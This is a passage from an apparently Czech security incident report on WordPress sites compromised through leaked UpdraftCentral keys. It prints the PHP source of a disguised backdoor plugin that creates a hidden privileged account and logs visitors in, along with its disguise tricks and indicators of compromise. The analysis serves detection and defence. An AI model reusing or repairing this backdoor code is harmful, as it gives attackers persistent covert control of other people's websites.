!important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">central\/listener.php<\/code> a <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">central\/host.php<\/code> jsou bajt po bajtu shodn\u00e9 s ofici\u00e1ln\u00ed verz\u00ed 1.26.11 z wordpress.org.<\/li>\n<li><strong>Star\u0161\u00ed form\u00e1t zpr\u00e1v bez podpisu.<\/strong> K\u00f3d ho pro kl\u00ed\u010de UpdraftCentral odm\u00edt\u00e1 a z\u00e1znam \u201eCommand received\u201c vznik\u00e1 a\u017e po t\u00e9to kontrole.<\/li>\n<li><strong>Podvr\u017een\u00fd kl\u00ed\u010d dashboardu.<\/strong> Otisky kl\u00ed\u010d\u016f jsou stejn\u00e9 v denn\u00edch z\u00e1loh\u00e1ch z 15. a\u017e 18. \u0159\u00edjna i v \u017eiv\u00e9 datab\u00e1zi a v access loz\u00edch nikdo nevolal funkci pro v\u00fdm\u011bnu kl\u00ed\u010de.<\/li>\n<li><strong>Slab\u00e1 kryptografie.<\/strong> Kl\u00ed\u010d webu i dashboardu maj\u00ed RSA 2048 bit\u016f s exponentem 65537 a UpdraftPlus obsahuje phpseclib 2.0.55, ve kter\u00e9 je opraven\u00e1 zn\u00e1m\u00e1 chyba v ov\u011b\u0159ov\u00e1n\u00ed podpis\u016f.<\/li>\n<li><strong>Napaden\u00fd wp-admin.<\/strong> Nezn\u00e1m\u00ed administr\u00e1to\u0159i nep\u0159ibyli, kontroln\u00ed sou\u010dty j\u00e1dra i plugin\u016f sed\u00ed a v loz\u00edch nen\u00ed \u017e\u00e1dn\u00e9 nahr\u00e1n\u00ed pluginu p\u0159es administraci.<\/li>\n<\/ol>\n<p>\u00dato\u010dn\u00edk tedy m\u011bl soukrom\u00e9 kl\u00ed\u010de dashboardu pro v\u0161echna t\u0159i spojen\u00ed najednou. Na na\u0161ich serverech tyto kl\u00ed\u010de nikdy nebyly, tak\u017ee odtud uniknout nemohly. P\u0159\u00edkazy p\u0159itom nep\u0159i\u0161ly ze serveru TeamUpdraft. Skute\u010dn\u00fd dashboard pos\u00edlal na web B v b\u0159eznu a dubnu 2026 p\u0159\u00edkazy s hlavi\u010dkou User-Agent:<\/p>\n<pre style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:13.5px !important;line-height:1.55;background:#0d1117;color:#e6edf3;border:1px solid #30363d;border-radius:8px;padding:14px 16px;margin:1em 0 1.6em;overflow-x:auto;white-space:pre;tab-size:4\"><code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:inherit !important;background:none;padding:0;color:inherit\">WordPress\/6.8.5; class-udrpc.php\/2.0; https:\/\/teamupdraft.com<\/code><\/pre>\n<p>\u00dato\u010dn\u00edk pos\u00edlal <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">WordPress\/6.4; class-udrpc.php<\/code>, bez verze knihovny a bez URL, ze sv\u00e9ho serveru. Kl\u00ed\u010de tedy unikly z prost\u0159ed\u00ed UpdraftCentral Cloud a \u00fato\u010dn\u00edk je pou\u017eil mimo n\u011bj.<\/p>\n<p>TeamUpdraft 19. \u0159\u00edjna potvrdil, \u017ee b\u011bhem v\u00edkendu 17. a 18. \u0159\u00edjna m\u011bl \u00fato\u010dn\u00edk p\u0159\u00edstup na teamupdraft.com a pravd\u011bpodobn\u011b i k z\u00e1kaznick\u00e9 datab\u00e1zi v\u010detn\u011b kl\u00ed\u010d\u016f UpdraftCentral. Kl\u00ed\u010de tedy unikly z infrastruktury v\u00fdrobce. Odpov\u00edd\u00e1 tomu i \u010dasov\u00e1 osa: kl\u00ed\u010de pro weby B a C existovaly od listopadu 2025 a \u00fato\u010dn\u00edk je nepou\u017eil a\u017e do noci z 18. na 19. \u0159\u00edjna, tedy hned po \u00faniku. Jak se \u00fato\u010dn\u00edk na teamupdraft.com dostal, v\u00fdrobce neuvedl.<\/p>\n<p>Na webu C \u00fatok selhal n\u00e1hodou. Kl\u00ed\u010d tam v listopadu 2025 vytvo\u0159il u\u017eivatel, kter\u00fd u\u017e nen\u00ed administr\u00e1tor. UpdraftCentral p\u0159ed instalac\u00ed ov\u011b\u0159uje, zda m\u00e1 vlastn\u00edk kl\u00ed\u010de pr\u00e1va <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">install_plugins<\/code> a <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">activate_plugins<\/code>. Nem\u011bl ani jedno.<\/p>\n<h2 id=\"pro\u010d-jde-o-kritick\u00fd-probl\u00e9m-updraftcentral\">Pro\u010d jde o kritick\u00fd probl\u00e9m UpdraftCentral<\/h2>\n<p>Klient UpdraftCentral je sou\u010d\u00e1st\u00ed ka\u017ed\u00e9 kopie UpdraftPlus, bezplatn\u00e9 i pr\u00e9miov\u00e9. Zapne se, kdy\u017e majitel p\u0159ipoj\u00ed web k dashboardu. Od t\u00e9 chv\u00edle web provede ka\u017ed\u00fd p\u0159\u00edkaz podepsan\u00fd kl\u00ed\u010dem dashboardu s pr\u00e1vy administr\u00e1tora, kter\u00fd spojen\u00ed vytvo\u0159il, v\u010detn\u011b nahr\u00e1n\u00ed a aktivace libovoln\u00e9ho pluginu. Majitel webu p\u0159\u00edkaz nepotvrzuje a v na\u0161em p\u0159\u00edpad\u011b n\u00e1s na n\u011bj nic neupozornilo. Kl\u00ed\u010de na stran\u011b webu nemaj\u00ed dobu platnosti: ty z listopadu 2025 fungovaly i v \u0159\u00edjnu 2026 a jin\u00fd spr\u00e1vce hl\u00e1s\u00ed zneu\u017eit\u00e9 kl\u00ed\u010de z \u00fanora a b\u0159ezna 2022. St\u00e1\u0159\u00ed kl\u00ed\u010de tedy p\u0159ed zneu\u017eit\u00edm nechr\u00e1n\u00ed. Zneu\u017eit\u00fd byl i kl\u00ed\u010d webu A vytvo\u0159en\u00fd 10. 10. 2026. Jin\u00fd spr\u00e1vce si v\u0161iml, \u017ee testovac\u00ed kopii webu se stejn\u00fdm kl\u00ed\u010dem, ale jinou adresou \u00fato\u010dn\u00edk nechal na pokoji. \u00dato\u010dn\u00edk tedy z\u0159ejm\u011b postupoval podle seznamu web\u016f, kter\u00fd m\u00e1 jen UpdraftCentral.<\/p>\n<p>Bezpe\u010dnost v\u0161ech p\u0159ipojen\u00fdch web\u016f tak stoj\u00ed na jedin\u00e9m p\u0159edpokladu, \u017ee soukrom\u00e9 kl\u00ed\u010de dashboardu neuniknou. Unikly, a \u00fato\u010dn\u00edk z jednoho m\u00edsta b\u011bhem p\u00e1r hodin ovl\u00e1dl dva weby a pokusil se o t\u0159et\u00ed. UpdraftPlus m\u00e1 v\u00edce ne\u017e 4 miliony aktivn\u00edch instalac\u00ed. Po\u010dtem instalac\u00ed ho mezi pluginy se z\u00e1lohov\u00e1n\u00edm na wordpress.org p\u0159edb\u00edh\u00e1 jen All-in-One WP Migration (5+ milion\u016f), kter\u00fd slou\u017e\u00ed hlavn\u011b k migraci web\u016f. UpdraftCentral pou\u017e\u00edv\u00e1 jen \u010d\u00e1st u\u017eivatel\u016f UpdraftPlus, i mal\u00fd pod\u00edl ze 4 milion\u016f v\u0161ak znamen\u00e1 hodn\u011b web\u016f.<\/p>\n<p>Stejn\u00fd kan\u00e1l u\u017e jednou selhal. V \u010dervnu 2026 v\u00fdrobce opravil zranitelnost CVE-2026-10795 (CVSS 8.1), p\u0159es kterou mohl \u00fato\u010dn\u00edk bez p\u0159ihl\u00e1\u0161en\u00ed podvrhnout p\u0159\u00edkazy UpdraftCentral a nainstalovat a aktivovat \u0161kodliv\u00fd plugin. Pokusy o jej\u00ed zneu\u017eit\u00ed zachyt\u00e1v\u00e1me v na\u0161ich loz\u00edch dodnes.<\/p>\n<h2 id=\"co-p\u0159esn\u011b-backdoor-d\u011bl\u00e1\">Co p\u0159esn\u011b backdoor d\u011bl\u00e1<\/h2>\n<p>Plugin m\u00e1 p\u011bt soubor\u016f, ale logiku obsahuje jen hlavn\u00ed. Tady je jeho podstatn\u00e1 \u010d\u00e1st ze vzorku z webu A. Token a heslo jsme zkr\u00e1tili:<\/p>\n<pre style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:13.5px !important;line-height:1.55;background:#0d1117;color:#e6edf3;border:1px solid #30363d;border-radius:8px;padding:14px 16px;margin:1em 0 1.6em;overflow-x:auto;white-space:pre;tab-size:4\"><code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:inherit !important;background:none;padding:0;color:inherit\">define( &#39;LOADSTACK35C_TOKEN&#39;, &#39;j0j8nxxH\u2026&#39; );      \/\/ 32 znak\u016f\ndefine( &#39;LOADSTACK35C_FIELD&#39;, &#39;_9f5696&#39; );\ndefine( &#39;LOADSTACK35C_SVC_LOGIN&#39;, &#39;data-ops43&#39; );\ndefine( &#39;LOADSTACK35C_SVC_PASS&#39;, &#39;L7sfkZMw\u2026&#39; );    \/\/ 22 znak\u016f\n\nfinal class LoadStack35c {\n\tprivate function __construct() {\n\t\tadd_action( &#39;init&#39;, array( $this, &#39;handle_sync&#39; ), 1 );\n\t}\n\n\tpublic function handle_sync() {\n\t\tif ( isset( $_GET[ self::FIELD ] ) &amp;&amp; hash_equals( self::TOKEN, (string) $_GET[ self::FIELD ] ) ) {\n\t\t\t$user = get_user_by( &#39;login&#39;, self::SVC_LOGIN );\n\t\t\tif ( ! $user ) {\n\t\t\t\t$uid = wp_insert_user( array(\n\t\t\t\t\t&#39;user_login&#39;   =&gt; self::SVC_LOGIN,\n\t\t\t\t\t&#39;user_pass&#39;    =&gt; self::SVC_PASS,\n\t\t\t\t\t&#39;user_email&#39;   =&gt; self::SVC_LOGIN . &#39;@example.org&#39;,\n\t\t\t\t\t&#39;display_name&#39; =&gt; &#39;Site Tools&#39;,\n\t\t\t\t\t&#39;role&#39;         =&gt; &#39;editor&#39;,\n\t\t\t\t) );\n\t\t\t\tif ( is_wp_error( $uid ) ) return;\n\t\t\t\t$u = new WP_User( $uid );\n\t\t\t\t$u-&gt;add_cap( &#39;manage_options&#39; );\n\t\t\t\t$u-&gt;add_cap( &#39;install_plugins&#39; );\n\t\t\t\t$user = get_user_by( &#39;id&#39;, $uid );\n\t\t\t}\n\t\t\twp_set_current_user( $user-&gt;ID, $user-&gt;user_login );\n\t\t\twp_set_auth_cookie( $user-&gt;ID, true, is_ssl() );\n\t\t\twp_safe_redirect( admin_url( &#39;index.php&#39; ) );\n\t\t\texit;\n\t\t}\n\t}\n}\n\nregister_activation_hook( __FILE__, function () {\n\tif ( ! get_option( &#39;load_stack_35c_sync_token&#39; ) ) {\n\t\tupdate_option( &#39;load_stack_35c_sync_token&#39;, &#39;j0j8nxxH\u2026&#39;, false );\n\t}\n} );\n\nLoadStack35c::instance();<\/code><\/pre>\n<p>Takto by fungoval, kdyby v n\u011bm nebyla chyba:<\/p>\n<ol type=\"1\">\n<li>P\u0159i ka\u017ed\u00e9m po\u017eadavku na web se zav\u011bs\u00ed na akci <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">init<\/code> s prioritou 1, tedy d\u0159\u00edve ne\u017e v\u011bt\u0161ina ostatn\u00edch plugin\u016f.<\/li>\n<li>Pod\u00edv\u00e1 se, zda adresa obsahuje parametr <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">?_9f5696=<\/code>, a jeho hodnotu porovn\u00e1 s 32znakov\u00fdm tokenem. Porovn\u00e1v\u00e1 funkc\u00ed <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">hash_equals<\/code>, kter\u00e1 trv\u00e1 stejn\u011b dlouho bez ohledu na shodu, tak\u017ee token nejde uhodnout m\u011b\u0159en\u00edm \u010dasu odpov\u011bdi. Bez spr\u00e1vn\u00e9ho tokenu se nestane nic a web se chov\u00e1 norm\u00e1ln\u011b.<\/li>\n<li>Se spr\u00e1vn\u00fdm tokenem vytvo\u0159\u00ed u\u017eivatele <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">data-ops43<\/code> s heslem zapsan\u00fdm v pluginu, e-mailem <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">data-ops43@example.org<\/code> a zobrazovan\u00fdm jm\u00e9nem \u201eSite Tools\u201c.<\/li>\n<li>D\u00e1 mu roli Editor a k tomu dv\u011b samostatn\u00e1 opr\u00e1vn\u011bn\u00ed: <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">manage_options<\/code> a <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">install_plugins<\/code>.<\/li>\n<li>P\u0159ihl\u00e1s\u00ed n\u00e1v\u0161t\u011bvn\u00edka jako tohoto u\u017eivatele p\u0159es <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">wp_set_auth_cookie<\/code> s volbou \u201ezapamatovat si m\u011b\u201c, tedy cookie platnou 14 dn\u00ed. P\u0159ihla\u0161ovac\u00ed formul\u00e1\u0159 t\u00edm \u00fapln\u011b obejde, tak\u017ee na n\u011bj nep\u016fsob\u00ed dvouf\u00e1zov\u00e9 ov\u011b\u0159en\u00ed, omezen\u00ed po\u010dtu pokus\u016f ani ochrana p\u0159ihl\u00e1\u0161en\u00ed ve Wordfence.<\/li>\n<li>P\u0159esm\u011bruje ho do administrace.<\/li>\n<\/ol>\n<p>Role Editor se dv\u011bma opr\u00e1vn\u011bn\u00edmi nav\u00edc je z\u00e1m\u011br. V seznamu u\u017eivatel\u016f se \u00fa\u010det ukazuje jako Editor, ne Administr\u00e1tor, tak\u017ee p\u0159i b\u011b\u017en\u00e9 kontrole admin\u016f ho p\u0159ehl\u00e9dnete. Prakticky m\u00e1 ale plnou moc nad webem:<\/p>\n<ul>\n<li><code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">install_plugins<\/code> dovol\u00ed nahr\u00e1t libovoln\u00fd plugin. Jeho PHP soubory jde spustit p\u0159\u00edmo p\u0159es URL i bez aktivace, co\u017e znamen\u00e1 spu\u0161t\u011bn\u00ed libovoln\u00e9ho k\u00f3du na serveru.<\/li>\n<li><code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">manage_options<\/code> zp\u0159\u00edstupn\u00ed v\u0161echna nastaven\u00ed. Sta\u010d\u00ed zapnout registraci a v\u00fdchoz\u00ed roli nastavit na administr\u00e1tora, a \u00fato\u010dn\u00edk si vytvo\u0159\u00ed plnohodnotn\u00e9ho admina.<\/li>\n<li>Editor m\u00e1 na b\u011b\u017en\u00e9m WordPressu i <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">unfiltered_html<\/code>, tak\u017ee m\u016f\u017ee do \u010dl\u00e1nk\u016f vlo\u017eit JavaScript, kter\u00fd se spust\u00ed v prohl\u00ed\u017ee\u010di ka\u017ed\u00e9ho administr\u00e1tora.<\/li>\n<\/ul>\n<p>Backdoor m\u00e1 i druhou vrstvu. Vytvo\u0159en\u00fd \u00fa\u010det se zn\u00e1m\u00fdm heslem z\u016fstane ve WordPressu i po odstran\u011bn\u00ed pluginu a \u00fato\u010dn\u00edk se j\u00edm um\u00ed p\u0159ihl\u00e1sit p\u0159es b\u011b\u017en\u00fd formul\u00e1\u0159, pokud tento \u00fa\u010det nem\u00e1 zapnut\u00e9 dvouf\u00e1zov\u00e9 ov\u011b\u0159en\u00ed.<\/p>\n<h3 id=\"chyba-kter\u00e1-n\u00e1s-zachr\u00e1nila\">Chyba, kter\u00e1 n\u00e1s zachr\u00e1nila<\/h3>\n<p>Konstanty jsou definovan\u00e9 funkc\u00ed <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">define()<\/code> jako glob\u00e1ln\u00ed (<code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">LOADSTACK35C_FIELD<\/code>), ale k\u00f3d je \u010dte jako konstanty t\u0159\u00eddy (<code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">self::FIELD<\/code>). T\u0159\u00edda \u017e\u00e1dn\u00e9 konstanty nem\u00e1. PHP 8 proto p\u0159i prvn\u00edm vyhodnocen\u00ed <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">self::FIELD<\/code> vyhod\u00ed <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">Error: Undefined constant LoadStack35c::FIELD<\/code>. Stane se to je\u0161t\u011b p\u0159ed kontrolou tokenu, tedy p\u0159i ka\u017ed\u00e9m po\u017eadavku: p\u0159i b\u011b\u017en\u00e9 n\u00e1v\u0161t\u011bv\u011b, v administraci, p\u0159i p\u0159ihl\u00e1\u0161en\u00ed, v REST API, p\u0159i cronu i ve WP-CLI. Web pad\u00e1 s chybou 500 a obsluhuje jen str\u00e1nky ulo\u017een\u00e9 v cache.<\/p>\n<p>Po\u017eadavek s instalac\u00ed p\u0159itom dob\u011bhl \u00fasp\u011b\u0161n\u011b. UpdraftCentral zpracov\u00e1v\u00e1 p\u0159\u00edkazy a\u017e v akci <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">wp_loaded<\/code>, kter\u00e1 p\u0159ich\u00e1z\u00ed po <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">init<\/code>, tak\u017ee v tom po\u017eadavku se chybn\u00fd k\u00f3d nespustil. \u00dato\u010dn\u00edk dostal potvrzen\u00ed o \u00fasp\u011bchu a o chyb\u011b se z odpov\u011bdi nedozv\u011bd\u011bl. Spadly a\u017e n\u00e1sleduj\u00edc\u00ed po\u017eadavky.<\/p>\n<p>\u00dato\u010dn\u00edkovi v\u0161ak sta\u010d\u00ed opravit p\u00e1r znak\u016f a dal\u0161\u00ed vlna m\u016f\u017ee fungovat. <strong>Pokud u sebe najdete podobn\u00fd \u201erozbit\u00fd\u201c plugin, neopravujte ho.<\/strong> Oprava by backdoor zapnula. Odstra\u0148te ho.<\/p>\n<h3 id=\"dal\u0161\u00ed-detaily\">Dal\u0161\u00ed detaily<\/h3>\n<ul>\n<li>Plugin se tv\u00e1\u0159\u00ed jako b\u011b\u017en\u00fd dopln\u011bk: m\u00e1 \u00faplnou hlavi\u010dku, licenci GPL, <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">Text Domain<\/code>, popis \u201eSmall maintenance toolkit: keeps option storage tidy.\u201c a vymy\u0161len\u00e9 vydavatelstv\u00ed (\u201ePixelBinder\u201c, \u201eHarbor Stack Labs\u201c).<\/li>\n<li>Soubory <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">assets\/public.css<\/code>, <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">assets\/public.js<\/code> a <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">languages\/readme.txt<\/code> obsahuj\u00ed jen koment\u00e1\u0159. Plugin je nikde nepou\u017e\u00edv\u00e1, jsou tam, aby adres\u00e1\u0159 vypadal jako skute\u010dn\u00fd plugin.<\/li>\n<li><code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">uninstall.php<\/code> p\u0159i odinstalaci z administrace sma\u017ee volby <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">&lt;slug&gt;_sync_token<\/code> a <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">&lt;slug&gt;_setup_stamp<\/code>, tedy stopy po sob\u011b. Druhou volbu k\u00f3d nikde nevytv\u00e1\u0159\u00ed, je to poz\u016fstatek \u0161ablony.<\/li>\n<li>P\u0159i aktivaci ulo\u017e\u00ed token do volby <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">&lt;slug&gt;_sync_token<\/code> bez automatick\u00e9ho na\u010d\u00edt\u00e1n\u00ed. K\u00f3d ji nikde ne\u010dte.<\/li>\n<li>Oba vzorky vyrobil stejn\u00fd gener\u00e1tor. Kdy\u017e v nich nahrad\u00edme n\u00e1zvy, tokeny, jm\u00e9na a verze z\u00e1stupn\u00fdmi \u0159et\u011bzci, jsou v\u0161echny soubory bajt po bajtu shodn\u00e9. N\u00e1zev m\u00e1 tvar <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">slovo-slovo-3 hex znaky<\/code>, parametr <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">_<\/code> a 6 hex znak\u016f, u\u017eivatel <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">slovo-slovo<\/code> a dv\u011b \u010d\u00edslice. Token m\u00e1 32 znak\u016f a heslo 22 znak\u016f (p\u00edsmena, \u010d\u00edslice, podtr\u017e\u00edtko).<\/li>\n<\/ul>\n<h2 id=\"indik\u00e1tory-kompromitace\">Indik\u00e1tory kompromitace<\/h2>\n<table>\n<thead>\n<tr class=\"header\">\n<th><\/th>\n<th>Web A<\/th>\n<th>Web B<\/th>\n<\/tr>\n<\/thead>\n<tbody>\n<tr class=\"odd\">\n<td>Adres\u00e1\u0159 pluginu<\/td>\n<td><code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">load-stack-35c<\/code><\/td>\n<td><code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">text-gantry-eb0<\/code><\/td>\n<\/tr>\n<tr class=\"even\">\n<td>N\u00e1zev \/ autor \/ verze<\/td>\n<td>Load Stack 35C \/ PixelBinder \/ 1.2.6<\/td>\n<td>Text Gantry Eb0 \/ Harbor Stack Labs \/ 3.9.5<\/td>\n<\/tr>\n<tr class=\"odd\">\n<td>Parametr v URL<\/td>\n<td><code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">_9f5696<\/code><\/td>\n<td><code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">_3e9caa<\/code><\/td>\n<\/tr>\n<tr class=\"even\">\n<td>U\u017eivatel<\/td>\n<td><code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">data-ops43<\/code><\/td>\n<td><code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">media-staff96<\/code><\/td>\n<\/tr>\n<tr class=\"odd\">\n<td>Volba v datab\u00e1zi<\/td>\n<td><code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">load_stack_35c_sync_token<\/code><\/td>\n<td><code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">text_gantry_eb0_sync_token<\/code><\/td>\n<\/tr>\n<tr class=\"even\">\n<td>SHA-256 hlavn\u00edho souboru<\/td>\n<td><code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">3c3355f7692d4951e5655683783795579467c9bf1ae2152e13b8c80e9021209f<\/code><\/td>\n<td><code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">bb40f9a87cea678aa50e5286dd91c0903d6a7fc1b12391472187a0919b4d0801<\/code><\/td>\n<\/tr>\n<tr class=\"odd\">\n<td>SHA-256 <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">uninstall.php<\/code><\/td>\n<td><code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">4186ae2aa0472a4e7929b21bb87f9b61866cb3790f69f4b6c9813e196955d5f0<\/code><\/td>\n<td><code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace 